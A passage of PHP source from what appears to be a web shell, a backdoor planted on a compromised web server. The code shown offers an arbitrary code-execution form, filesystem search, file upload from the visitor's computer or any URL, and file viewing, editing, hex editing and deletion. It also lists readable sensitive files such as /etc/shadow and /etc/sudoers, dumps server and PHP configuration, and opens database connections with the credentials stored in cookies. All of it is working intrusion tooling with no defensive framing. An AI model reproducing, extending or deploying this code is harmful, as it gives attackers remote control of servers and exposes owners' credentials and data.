$s_t = explode("_", $s);
$s_checked = ($s_lang == $s_t[1])? "selected" : "";
$s_lang_available .= "<option value=\'".$s_t[1]."\' ".$s_checked.">".$s_t[1]."</option>";
}
}
$s_evaloptionclass = ($s_lang=="php")? "sembunyi":"";
$s_e_result = (!empty($s_res))? "<pre id=\'evalres\' class=\'bt\' style=\'margin:4px 0 0 0;padding:6px 0;\' >".hss($s_res)."</pre>":"";
$s_result .= "<form action=\'".$s_self."\' method=\'post\'>
<textarea id=\'evalcode\' name=\'evalcode\' style=\'height:150px;\' class=\'txtarea\'>".hss($s_code)."</textarea>
<table><tr><td style=\'padding:0;\'><p><input type=\'submit\' name=\'evalcodesubmit\' class=\'inputzbut\' value=\'Go !\' style=\'width:120px;height:30px;\' /></p>
</td><td><select name=\'lang\' onchange=\'evalselect(this);\' class=\'inputzbut\' style=\'width:120px;height:30px;padding:4px;\'>
".$s_lang_available."
</select>
</td>
<td><div title=\'If you want to give additional option to interpreter or compiler, give it here\' id=\'additionaloption\' class=\'".$s_evaloptionclass."\'>Additional option <input class=\'inputz\' style=\'width:400px;\' type=\'text\' name=\'evaloption\' value=\'".hss($s_evaloption)."\' id=\'evaloption\' /></div></td>
</tr>
</table>
".$s_e_result."
<input type=\'hidden\' name=\'x\' value=\'eval\' />
</form>";
} // find
elseif(isset($_GP[\'find\'])){
$s_p = $_GP[\'find\'];
$s_type = isset($_GP[\'type\'])? $_GP[\'type\'] : "sfile";
$s_sfname = (!empty($_GP[\'sfname\']))? $_GP[\'sfname\']:\'\';
$s_sdname = (!empty($_GP[\'sdname\']))? $_GP[\'sdname\']:\'\';
$s_sfcontain = (!empty($_GP[\'sfcontain\']))? $_GP[\'sfcontain\']:\'\';
$s_sfnameregexchecked = $s_sfnameicasechecked = $s_sdnameregexchecked = $s_sdnameicasechecked = $s_sfcontainregexchecked = $s_sfcontainicasechecked = $s_swritablechecked = $s_sreadablechecked = $s_sexecutablechecked = "";
$s_sfnameregex = $s_sfnameicase = $s_sdnameregex = $s_sdnameicase = $s_sfcontainregex = $s_sfcontainicase = $s_swritable = $s_sreadable = $s_sexecutable = false;
if(isset($_GP[\'sfnameregex\'])){ $s_sfnameregex=true; $s_sfnameregexchecked="checked"; }
if(isset($_GP[\'sfnameicase\'])){ $s_sfnameicase=true; $s_sfnameicasechecked="checked"; }
if(isset($_GP[\'sdnameregex\'])){ $s_sdnameregex=true; $s_sdnameregexchecked="checked"; }
if(isset($_GP[\'sdnameicase\'])){ $s_sdnameicase=true; $s_sdnameicasechecked="checked"; }
if(isset($_GP[\'sfcontainregex\'])){ $s_sfcontainregex=true; $s_sfcontainregexchecked="checked"; }
if(isset($_GP[\'sfcontainicase\'])){ $s_sfcontainicase=true; $s_sfcontainicasechecked="checked"; }
if(isset($_GP[\'swritable\'])){ $s_swritable=true; $s_swritablechecked="checked"; }
if(isset($_GP[\'sreadable\'])){ $s_sreadable=true; $s_sreadablechecked="checked"; }
if(isset($_GP[\'sexecutable\'])){ $s_sexecutable=true; $s_sexecutablechecked="checked"; }
$s_sexecb = (function_exists("is_executable"))? "<input class=\'css-checkbox\' type=\'checkbox\' name=\'sexecutable\' value=\'sexecutable\' id=\'se\' ".$s_sexecutablechecked." /><label class=\'css-label\' for=\'se\'>Executable</span>":"";
$s_candidate = array();
if(isset($_GP[\'sgo\'])){
$s_af = "";
$s_candidate = getallfiles($s_p);
if($s_type==\'sfile\') $s_candidate = @array_filter($s_candidate, "is_file");
elseif($s_type==\'sdir\') $s_candidate = @array_filter($s_candidate, "is_dir");
foreach($s_candidate as $s_a){
if($s_type==\'sdir\'){
if(!empty($s_sdname)){
if($s_sdnameregex){
if($s_sdnameicase){if(!preg_match("/".$s_sdname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
else{if(!preg_match("/".$s_sdname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
}
else{
if($s_sdnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sdname))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
else{if(strpos(basename($s_a), $s_sdname)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
}
}
}
elseif($s_type==\'sfile\'){
if(!empty($s_sfname)){
if($s_sfnameregex){
if($s_sfnameicase){if(!preg_match("/".$s_sfname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
else{if(!preg_match("/".$s_sfname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
}
else{
if($s_sfnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sfname))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
else{if(strpos(basename($s_a), $s_sfname)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
}
}
if(!empty($s_sfcontain)){
$s_sffcontent = @fgc($s_a);
if($s_sfcontainregex){
if($s_sfcontainicase){if(!preg_match("/".$s_sfcontain."/i", $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));}
else{if(!preg_match("/".$s_sfcontain."/", $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));}
}
else{
if($s_sfcontainicase){if(strpos(strtolower($s_sffcontent), strtolower($s_sfcontain))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
else{if(strpos($s_sffcontent, $s_sfcontain)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
}
}
}
}
}
$s_f_result = ""; $s_link="";
foreach($s_candidate as $s_c){
$s_c = trim($s_c);
if($s_swritable && !@is_writable($s_c)) continue;
if($s_sreadable && !@is_readable($s_c)) continue;
if($s_sexecutable && !@is_executable($s_c)) continue;
if($s_type=="sfile") $s_link = $s_self."view=".pl($s_c);
elseif($s_type=="sdir") $s_link = $s_self."view=".pl(cp($s_c));
$s_f_result .= "<p class=\'notif\' ondblclick=\"return go(\'".adds($s_link)."\',event);\"><a href=\'".$s_link."\'>".$s_c."</a></p>";
}
$s_tsdir = ($s_type=="sdir")? "selected":"";
$s_tsfile = ($s_type=="sfile")? "selected":"";
if(!@is_dir($s_p)) $s_result .= notif("Cannot find the path specified ".$s_p);
$s_result .= "<form action=\'".$s_self."\' method=\'post\'>
<div class=\'mybox\'><h2>Find</h2>
<table class=\'myboxtbl\'>
<tr><td style=\'width:140px;\'>Search in</td>
<td colspan=\'2\'><input style=\'width:100%;\' value=\'".hss($s_p)."\' class=\'inputz\' type=\'text\' name=\'find\' /></td></tr>
<tr onclick=\"findtype(\'sdir\');\">
<td>Dirname contains</td>
<td style=\'width:400px;\'><input class=\'inputz\' style=\'width:100%;\' type=\'text\' name=\'sdname\' value=\'".hss($s_sdname)."\' /></td>
<td>
<input type=\'checkbox\' class=\'css-checkbox\' name=\'sdnameregex\' id=\'sdn\' ".$s_sdnameregexchecked." /><label class=\'css-label\' for=\'sdn\'>Regex (pcre)</label>
<input type=\'checkbox\' class=\'css-checkbox\' name=\'sdnameicase\' id=\'sdi\' ".$s_sdnameicasechecked." /><label class=\'css-label\' for=\'sdi\'>Case Insensitive</label>
</td>
</tr>
<tr onclick=\"findtype(\'sfile\');\">
<td>Filename contains</td>
<td style=\'width:400px;\'><input class=\'inputz\' style=\'width:100%;\' type=\'text\' name=\'sfname\' value=\'".hss($s_sfname)."\' /></td>
<td>
<input type=\'checkbox\' class=\'css-checkbox\' name=\'sfnameregex\' id=\'sfn\' ".$s_sfnameregexchecked." /><label class=\'css-label\' for=\'sfn\'>Regex (pcre)</label>
<input type=\'checkbox\' class=\'css-checkbox\' name=\'sfnameicase\' id=\'sfi\' ".$s_sfnameicasechecked." /><label class=\'css-label\' for=\'sfi\'>Case Insensitive</label>
</td>
</tr>
<tr onclick=\"findtype(\'sfile\');\">
<td>File contains</td>
<td style=\'width:400px;\'><input class=\'inputz\' style=\'width:100%;\' type=\'text\' name=\'sfcontain\' value=\'".hss($s_sfcontain)."\' /></td>
<td>
<input type=\'checkbox\' class=\'css-checkbox\' name=\'sfcontainregex\' id=\'sff\' ".$s_sfcontainregexchecked." /><label class=\'css-label\' for=\'sff\'>Regex (pcre)</label>
<input type=\'checkbox\' class=\'css-checkbox\' name=\'sfcontainicase\' id=\'sffi\' ".$s_sfcontainicasechecked." /><label class=\'css-label\' for=\'sffi\'>Case Insensitive</label>
</td>
</tr>
<tr>
<td>Permissions</td>
<td colspan=\'2\'>
<input type=\'checkbox\' class=\'css-checkbox\' name=\'swritable\' id=\'sw\' ".$s_swritablechecked." /><label class=\'css-label\' for=\'sw\'>Writable</label>
<input type=\'checkbox\' class=\'css-checkbox\' name=\'sreadable\' id=\'sr\' ".$s_sreadablechecked." /><label class=\'css-label\' for=\'sr\'>Readable</label>
".$s_sexecb."
</td>
</tr>
<tr><td>
<input type=\'submit\' name=\'sgo\' class=\'inputzbut\' value=\'Search !\' style=\'width:120px;height:30px;margin:0;\' />
</td>
<td>
<select name=\'type\' id=\'type\' class=\'inputzbut\' style=\'width:120px;height:30px;margin:0;padding:4px;\'>
<option value=\'sfile\' ".$s_tsfile.">Search file</option>
<option value=\'sdir\' ".$s_tsdir.">Search dir</option>
</select>
</td>
<td></td></tr>
</table>
</div>
</form>
<div>
".$s_f_result."
</div>";
} // upload
elseif(isset($_GP[\'x\']) && ($_GP[\'x\']==\'upload\')){
$s_result = " ";
$s_msg = "";
if(isset($_GP[\'uploadhd\'])){
$c = count($_FILES[\'filepath\'][\'name\']);
for($i = 0; $i<$c; $i++){
$s_fn = $_FILES[\'filepath\'][\'name\'][$i];
if(empty($s_fn)) continue;
if(is_uploaded_file($_FILES[\'filepath\'][\'tmp_name\'][$i])){
$s_p = cp($_GP[\'savefolder\'][$i]);
if(!@is_dir($s_p)) mkdir($s_p);
if(isset($_GP[\'savefilename\'][$i]) && (trim($_GP[\'savefilename\'][$i])!="")) $s_fn = $_GP[\'savefilename\'][$i];
$s_tm = $_FILES[\'filepath\'][\'tmp_name\'][$i];
$s_pi = cp($s_p).$s_fn;
$s_st = @move_uploaded_file($s_tm,$s_pi);
if($s_st) $s_msg .= notif("File uploaded to <a href=\'".$s_self."view=".pl($s_pi)."\'>".$s_pi."</a>");
else $s_msg .= notif("Failed to upload ".$s_fn);
}
else $s_msg .= notif("Failed to upload ".$s_fn);
}
}
elseif(isset($_GP[\'uploadurl\'])){
// function dlfile($s_url,$s_fpath)
$c = count($_GP[\'fileurl\']);
for($i = 0; $i<$c; $i++){
$s_fu = $_GP[\'fileurl\'][$i];
if(empty($s_fu)) continue;
$s_p = cp($_GP[\'savefolderurl\'][$i]);
if(!@is_dir($s_p)) mkdir($s_p);
$s_fn = basename($s_fu);
if(isset($_GP[\'savefilenameurl\'][$i]) && (trim($_GP[\'savefilenameurl\'][$i])!="")) $s_fn = $_GP[\'savefilenameurl\'][$i];
$s_fp = cp($s_p).$s_fn;
$s_st = dlfile($s_fu,$s_fp);
if($s_st) $s_msg .= notif("File uploaded to <a href=\'".$s_self."view=".pl($s_fp)."\'>".$s_fp."</a>");
else $s_msg .= notif("Failed to upload ".$s_fn);
}
}
else{
if(!@is_writable($s_cwd)) $s_msg = notif("Directory ".$s_cwd." is not writable, please change to a writable one");
}
if(!empty($s_msg)) $s_result .= $s_msg;
$s_result .= "
<form action=\'".$s_self."\' method=\'post\' enctype=\'multipart/form-data\'>
<div class=\'mybox\'><h2><div class=\'but\' onclick=\'adduploadc();\'>+</div>Upload from computer</h2>
<table class=\'myboxtbl\'>
<tbody id=\'adduploadc\'>
<tr><td style=\'width:140px;\'>File</td><td><input type=\'file\' name=\'filepath[]\' class=\'inputzbut\' style=\'width:400px;margin:0;\' /></td></tr>
<tr><td>Save to</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'savefolder[]\' value=\'".hss($s_cwd)."\' /></td></tr>
<tr><td>Filename (optional)</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'savefilename[]\' value=\'\' /></td></tr>
</tbody>
<tfoot>
<tr><td> </td><td>
<input type=\'submit\' name=\'uploadhd\' class=\'inputzbut\' value=\'Upload !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' />
<input type=\'hidden\' name=\'x\' value=\'upload\' />
</td></tr>
</tfoot>
</table>
</div>
</form>
<form action=\'".$s_self."\' method=\'post\'>
<div class=\'mybox\'><h2><div class=\'but\' onclick=\'adduploadi();\'>+</div>Upload from internet</h2>
<table class=\'myboxtbl\'>
<tbody id=\'adduploadi\'>
<tr><td style=\'width:150px;\'>File URL</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'fileurl[]\' value=\'\' />
</td></tr>
<tr><td>Save to</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'savefolderurl[]\' value=\'".hss($s_cwd)."\' /></td></tr>
<tr><td>Filename (optional)</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'savefilenameurl[]\' value=\'\' /></td></tr>
</tbody>
<tfoot>
<tr><td> </td><td>
<input type=\'submit\' name=\'uploadurl\' class=\'inputzbut\' value=\'Upload !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' />
<input type=\'hidden\' name=\'x\' value=\'upload\' />
</td></tr>
</table>
</div>
</form>";
} // view file
elseif(isset($_GP[\'view\'])){
$s_f = $_GP[\'view\'];
if(isset($s_fnew) && (trim($s_fnew)!="")) $s_f = $s_fnew;
$s_owner = "";
if(@is_file($s_f)){
$targetdir = dirname($s_f);
chdir($targetdir);
$s_cwd = cp(getcwd());
setcookie("cwd", $s_cwd ,time() + $s_login_time);
if(!$s_win && $s_posix){
$s_name = posix_getpwuid(fileowner($s_f));
$s_group = posix_getgrgid(filegroup($s_f));
$s_owner = "<tr><td>Owner</td><td>".$s_name[\'name\']."<span class=\'gaya\'>:</span>".$s_group[\'name\']."</td></tr>";
}
$s_filn = basename($s_f);
$s_result .= "<table class=\'viewfile\' style=\'width:100%;\'>
<tr><td style=\'width:140px;\'>Filename</td><td><span id=\'".cs($s_filn)."_link\'>".$s_f."</span>
<div id=\'".cs($s_filn)."_form\' class=\'sembunyi\'>
<form action=\'".$s_self."\' method=\'post\'>
<input type=\'hidden\' name=\'oldname\' value=\'".hss($s_f)."\' style=\'margin:0;padding:0;\' />
<input type=\'hidden\' name=\'view\' value=\'".hss($s_f)."\' />
<input class=\'inputz\' style=\'width:200px;\' type=\'text\' name=\'rename\' value=\'".hss($s_f)."\' />
<input class=\'inputzbut\' type=\'submit\' value=\'rename\' />
</form>
<input class=\'inputzbut\' type=\'button\' value=\'x\' onclick=\"tukar_(\'".cs($s_filn)."_form\',\'".cs($s_filn)."_link\');\" />
</div>
</td></tr>
<tr><td>Size</td><td>".gs($s_f)." (".@filesize($s_f).")</td></tr>
<tr><td>Permission</td><td>".gp($s_f)."</td></tr>
".$s_owner."
<tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($s_f))."</td></tr>
<tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($s_f))."</td></tr>
<tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($s_f))."</td></tr>
<tr><td>Actions</td><td>
<a href=\'".$s_self."edit=".pl($s_f)."\' title=\'edit\'>edit</a> | <a href=\'".$s_self."hexedit=".pl($s_f)."\' title=\'edit as hex\'>hex</a> | <a href=\"javascript:tukar_(\'".cs($s_filn)."_link\',\'".cs($s_filn)."_form\');\" title=\'rename\'>ren</a> | <a href=\'".$s_self."del=".pl($s_f)."\' title=\'delete\'>del</a> | <a href=\'".$s_self."dl=".pl($s_f)."\'>dl</a>
</td></tr>
<tr><td>View</td><td>
<a href=\'".$s_self."view=".pl($s_f)."&type=text"."\'>text</a> | <a href=\'".$s_self."view=".pl($s_f)."&type=code"."\'>code</a> | <a href=\'".$s_self."view=".pl($s_f)."&type=image"."\'>image</a> | <a href=\'".$s_self."view=".pl($s_f)."&type=audio"."\'>audio</a> | <a href=\'".$s_self."view=".pl($s_f)."&type=video"."\'>video</a>
</td></tr>
</table>";
$s_t = ""; $s_mime = "";
$s_mime_list = gzinflate(base64_decode($s_mime_types));
$s_ext_pos = strrpos($s_f, ".");
if($s_ext_pos!==false){
$s_ext = trim(substr($s_f, $s_ext_pos),".");
if(preg_match("/([^\s]+)\ .*".$s_ext.".*/i",$s_mime_list,$s_r)){
$s_mime = $s_r[1];
}
}
$s_iinfo = @getimagesize($s_f);
if(strtolower(substr($s_filn,-3,3)) == "php") $s_t = "code";
elseif(is_array($s_iinfo)) $s_t = \'image\';
elseif(!empty($s_mime)) $s_t = substr($s_mime,0,strpos($s_mime,"/"));
if(isset($_GP[\'type\'])) $s_t = $_GP[\'type\'];
if($s_t=="image"){
$s_width = (int) $s_iinfo[0];
$s_height = (int) $s_iinfo[1];
$s_imginfo = "Image type = ( ".$s_iinfo[\'mime\']." )<br />
Image Size = <span class=\'gaul\'>( </span>".$s_width." x ".$s_height."<span class=\'gaul\'> )</span><br />";
if($s_width > 800){
$s_width = 800;
$s_imglink = "<p><a href=\'".$s_self."img=".pl($s_filn)."\'>
<span class=\'gaul\'>[ </span>view full size<span class=\'gaul\'> ]</span></a></p>";
}
else $s_imglink = "";
$s_result .= "<div class=\'viewfilecontent\' style=\'text-align:center;\'>".$s_imglink."
<img width=\'".$s_width."\' src=\'".$s_self."img=".pl($s_filn)."\' alt=\'".$s_filn."\' style=\'margin:8px auto;padding:0;border:0;\' /></div>";
}
elseif($s_t=="code"){
$s_result .= "<div class=\"viewfilecontent\">";
$s_file = wordwrap(@fgc($s_f),160,"
",true);
$s_buff = highlight_string($s_file,true);
$s_old = array("0000BB", "000000", "FF8000", "DD0000", "007700");
$s_new = ($s_theme=="bright")? $s_highlight_bright:$s_highlight_dark;
$s_buff = str_replace($s_old,$s_new, $s_buff);
$s_result .= $s_buff;
$s_result .= "</div>";
}
elseif($s_t=="audio" || $s_t=="video"){
$s_result .= "<div class=\'viewfilecontent\' style=\'text-align:center;\'>
<".$s_t." controls>
<source src=\'".hss($s_self."dltype=raw&dlpath=".$s_f)."\' type=\'".$s_mime."\'>
<object data=\'".hss($s_self."dltype=raw&dlpath=".$s_f)."\'>
<embed src=\'".hss($s_self."dltype=raw&dlpath=".$s_f)."\'>
</object>
</".$s_t.">
</div>";
}
else {
$s_result .= "<pre style=\'padding: 3px 8px 0 8px;\' class=\'viewfilecontent\'>";
$s_result .= str_replace("<", "<",str_replace(">", ">",(wordwrap(@fgc($s_f),160,"
",true))));
$s_result .= "</pre>";
}
}
elseif(@is_dir($s_f)){
chdir($s_f);
$s_cwd = cp(getcwd());
setcookie("cwd", $s_cwd ,time() + $s_login_time);
$s_result .= showdir($s_cwd);
}
else $s_result .= notif("Cannot find the path specified ".$s_f);
} // edit file
elseif(isset($_GP[\'edit\'])){
$s_f = $_GP[\'edit\'];
$s_fc = ""; $s_fcs = "";
if(isset($_GP[\'new\']) && ($_GP[\'new\']==\'yes\')){
$s_num = 1;
if(@is_file($s_f)){
$s_pos = strrpos($s_f,"_");
if($s_pos!==false) $s_num = (int) substr($s_f,$s_pos+1);
while(@is_file(substr($s_f,0,$s_pos)."_".$s_num)){
$s_num++;
}
$s_f = substr($s_f,0,$s_pos)."_".$s_num;
}
}
else if(@is_file($s_f)) $s_fc = @fgc($s_f);
if(isset($_GP[\'fc\'])){
$s_fc = $_GP[\'fc\'];
$s_eol = $_GP[\'eol\'];
$s_eolf = pack("H*", geol($s_fc));
$s_eolh = pack("H*", $s_eol);
$s_fc = str_replace($s_eolf, $s_eolh, $s_fc);
if($s_filez = fopen($s_f,"w")){
$s_time = @date("d-M-Y H:i:s",time());
if(fwrite($s_filez,$s_fc)!==false) $s_fcs = "File saved @ ".$s_time;
else $s_fcs = "Failed to save";
fclose($s_filez);
}
else $s_fcs = "Permission denied";
}
elseif(@is_file($s_f) && !@is_writable($s_f)) $s_fcs = "This file is not writable";
$s_eol = geol($s_fc);
if(!empty($s_fcs)) $s_result .= notif($s_fcs);
$s_result .= "<form action=\'".$s_self."\' method=\'post\'>
<textarea id=\'fc\' name=\'fc\' class=\'txtarea\'>".hss($s_fc)."</textarea>
<p style=\'text-align:center;\'><input type=\'text\' class=\'inputz\' style=\'width:99%;\' name=\'edit\' value=\'".hss($s_f)."\' /></p>
<p><input type=\'submit\' class=\'inputzbut\' value=\'Save !\' style=\'width:120px;height:30px;\' /></p>
<input type=\'hidden\' name=\'eol\' value=\'".$s_eol."\' />
</form>";
} // hex edit file
elseif(isset($_GP[\'hexedit\'])){
$s_f = $_GP[\'hexedit\'];
$s_fc = ""; $s_fcs = ""; $s_hexes = "";
$s_lnum = 0;
if(!empty($_GP[\'hx\']) || !empty($_GP[\'hxt\'])){
if(!empty($_GP[\'hx\'])){
foreach($_GP[\'hx\'] as $s_hex) $s_hexes .= str_replace(" ", "", $s_hex);
}
elseif(!empty($_GP[\'hxt\'])){
$s_hexes = trim($_GP[\'hxt\']);
}
if($s_filez = fopen($s_f,"w")){
$s_bins = pack("H*", $s_hexes);
$s_time = @date("d-M-Y H:i:s", time());
if(fwrite($s_filez,$s_bins)!==false) $s_fcs = "File saved @ ".$s_time;
else $s_fcs = "Failed to save";
fclose($s_filez);
}
else $s_fcs = "Permission denied";
}
else if(@is_file($s_f) && !@is_writable($s_f)) $s_fcs = "This file is not writable";
if(!empty($s_fcs)) $s_result .= notif($s_fcs);
$s_result .= "<form action=\'".$s_self."\' method=\'post\'><p class=\'ce mp\'><input type=\'text\' class=\'inputz\' style=\'width:100%;\' name=\'hexedit\' value=\'".hss($s_f)."\' /></p><p class=\'bb\' style=\'padding:0 0 14px 0;\'><input type=\'submit\' class=\'inputzbut\' value=\'Save !\' style=\'width:120px;height:30px;\' onclick=\"return sh();\" /></p><table class=\'explore\'>";
if(@is_file($s_f)){
$s_fp = fopen($s_f, "r");
if($s_fp) {
$s_ldump = "";
$s_counter = 0;
$s_icounter = 0;
while(!feof($s_fp)){
$s_line = fread($s_fp, 32);
$s_linehex = strtoupper(bin2hex($s_line));
$s_linex = str_split($s_linehex, 2);
$s_linehex = implode(" ", $s_linex);
$s_addr = sprintf("%08xh", $s_icounter);
$s_result .= "<tr><td class=\'ce w60\'>".$s_addr."</td><td class=\'le w594\'><input onselect=\'this.selectionEnd=this.selectionStart;\' onclick=\"hu(\'".$s_counter."\',event);\" onkeydown=\"return hf(\'".$s_counter."\',event);\" onkeyup=\"hu(\'".$s_counter."\',event);\" type=\'text\' class=\'inputz w578\' id=\'hex_".$s_counter."\' name=\'hx[]\' value=\'".$s_linehex."\' maxlength=\'".strlen($s_linehex)."\' /></td><td class=\'le ls2\'><pre name=\'hexdump\' id=\'dump_".$s_counter."\' class=\'mp\'></pre></td></tr>";
$s_counter++;
$s_icounter+=32;
}
$s_result .= "<input type=\'hidden\' id=\'counter\' value=\'".$s_counter."\' />";
$s_result .= "<textarea name=\'hxt\' id=\'hxt\' class=\'sembunyi\'></textarea>";
fclose($s_fp);
}
}
$s_result .= "</table></form>";
} // show server information
elseif(isset($_GP[\'x\']) && ($_GP[\'x\']==\'info\')){
$s_result = "";
// server misc info
$s_result .= "<p class=\'notif\' onclick=\"toggle(\'info_server\')\">Server Info</p>";
$s_result .= "<div class=\'info\' id=\'info_server\'><table>";
if($s_win){
foreach (range("A", "Z") as $s_letter){
if((@is_dir($s_letter.":\") && @is_readable($s_letter.":\"))){
$s_drive = $s_letter.":";
$s_result .= "<tr><td>drive ".$s_drive."</td><td>".ts(disk_free_space($s_drive))." free of ".ts(disk_total_space($s_drive))."</td></tr>";
}
}
}
else $s_result .= "<tr><td>root partition</td><td>".ts(@disk_free_space("/"))." free of ".ts(@disk_total_space("/"))."</td></tr>";
$s_result .= "<tr><td>php</td><td>".phpversion()."</td></tr>";
$s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_java", "s_javac", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl");
foreach($s_access as $s){
$s_t = explode("_", $s);
if(isset($$s)) $s_result .= "<tr><td>".$s_t[1]."</td><td>".$$s."</td></tr>";
}
if(!$s_win){
$s_interesting = array(
"/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
"/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
"/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
"/etc/ssh/sshd_config",
"/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
"/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
"/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
foreach($s_interesting as $s_f){
if(@is_file($s_f) && @is_readable($s_f)) $s_result .= "<tr><td>".$s_f."</td><td><a href=\'".$s_self."view=".pl($s_f)."\'>".$s_f." is readable</a></td></tr>";
}
}
$s_result .= "</table></div>";
if(!$s_win){
// cpu info
if($s_i_buff=trim(@fgc("/proc/cpuinfo"))){
$s_result .= "<p class=\'notif\' onclick=\"toggle(\'info_cpu\')\">CPU Info</p>";
$s_result .= "<div class=\'info\' id=\'info_cpu\'>";
$s_i_buffs = explode("
", $s_i_buff);
foreach($s_i_buffs as $s_i_buffss){
$s_i_buffss = trim($s_i_buffss);
if($s_i_buffss!=""){
$s_i_buffsss = explode("
", $s_i_buffss);
$s_result .= "<table>";
foreach($s_i_buffsss as $s_i){
$s_i = trim($s_i);
if($s_i!=""){
$s_ii = explode(":",$s_i);
if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>";
}
}
$s_result .= "</table>";
}
}
$s_result .= "</div>";
}
// mem info
if($s_i_buff=trim(@fgc("/proc/meminfo"))){
$s_result .= "<p class=\'notif\' onclick=\"toggle(\'info_mem\')\">Memory Info</p>";
$s_i_buffs = explode("
", $s_i_buff);
$s_result .= "<div class=\'info\' id=\'info_mem\'><table>";
foreach($s_i_buffs as $s_i){
$s_i = trim($s_i);
if($s_i!=""){
$s_ii = explode(":",$s_i);
if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>";
}
else $s_result .= "</table><table>";
}
$s_result .= "</table></div>";
}
// partition
if($s_i_buff=trim(@fgc("/proc/partitions"))){
$s_i_buff = preg_replace("/\ +/", " ", $s_i_buff);
$s_result .= "<p class=\'notif\' onclick=\"toggle(\'info_part\')\">Partitions Info</p>";
$s_result .= "<div class=\'info\' id=\'info_part\'>";
$s_i_buffs = explode("
", $s_i_buff);
$s_result .= "<table><tr>";
$s_i_head = explode(" ", $s_i_buffs[0]);
foreach($s_i_head as $s_h) $s_result .= "<th>".$s_h."</th>";
$s_result .= "</tr>";
$s_i_buffss = explode("
", $s_i_buffs[1]);
foreach($s_i_buffss as $s_i_b){
$s_i_row = explode(" ", trim($s_i_b));
$s_result .= "<tr>";
foreach($s_i_row as $s_r) $s_result .= "<td style=\'text-align:center;\'>".$s_r."</td>";
$s_result .= "</tr>";
}
$s_result .= "</table>";
$s_result .= "</div>";
}
}
$s_phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
foreach($s_phpinfo as $s_p=>$s_i){
$s_result .= "<p class=\'notif\' onclick=\"toggle(\'".$s_i."\')\">".$s_p."</p>";
ob_start();
eval("phpinfo(".$s_i.");");
$s_b = ob_get_contents();
ob_end_clean();
if(preg_match("/<body>(.*?)<\/body>/is", $s_b, $r)){
$s_body = str_replace(array(",", ";", "&"), array(", ", "; ", "&"), $r[1]);
$s_result .= "<div class=\'info\' id=\'".$s_i."\'>".$s_body."</div>";
}
}
} // working with database
elseif(isset($_GP[\'x\']) && ($_GP[\'x\']==\'db\')){
// sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
$s_sql = array();
$s_sql_deleted = "";
$s_show_form = $s_show_dbs = true;
if(isset($_GP[\'dc\'])){
$k = $_GP[\'dc\'];
setcookie("c[".$k."]", "" ,time() - $s_login_time);
$s_sql_deleted = $k;
}
if(isset($_COOKIE[\'c\']) && !isset($_GP[\'connect\'])){
foreach($_COOKIE[\'c\'] as $c=>$d){
if($c==$s_sql_deleted) continue;
$s_dbcon = (function_exists("json_encode") && function_exists("json_decode"))? json_decode($d):unserialize($d);
foreach($s_dbcon as $k=>$v) $s_sql[$k] = $v;
$s_sqlport = (!empty($s_sql[\'port\']))? ":".$s_sql[\'port\']:"";
$s_result .= notif("[".$s_sql[\'type\']."] ".$s_sql[\'user\']."@".$s_sql[\'host\'].$s_sqlport."
<span style=\'float:right;\'><a href=\'".$s_self."x=db&connect=connect&sqlhost=".pl($s_sql[\'host\'])."&sqlport=".pl($s_sql[\'port\'])."&sqluser=".pl($s_sql[\'user\'])."&sqlpass=".pl($s_sql[\'pass\'])."&sqltype=".pl($s_sql[\'type\'])."\'>connect</a> | <a href=\'".$s_self."x=db&dc=".pl($c)."\'>disconnect</a></span>");
}
}
else{
$s_sql[\'host\'] = isset($_GP[\'sqlhost\'])? $_GP[\'sqlhost\'] : "";
$s_sql[\'port\'] = isset($_GP[\'sqlport\'])? $_GP[\'sqlport\'] : "";
$s_sql[\'user\'] = isset($_GP[\'sqluser\'])? $_GP[\'sqluser\'] : "";
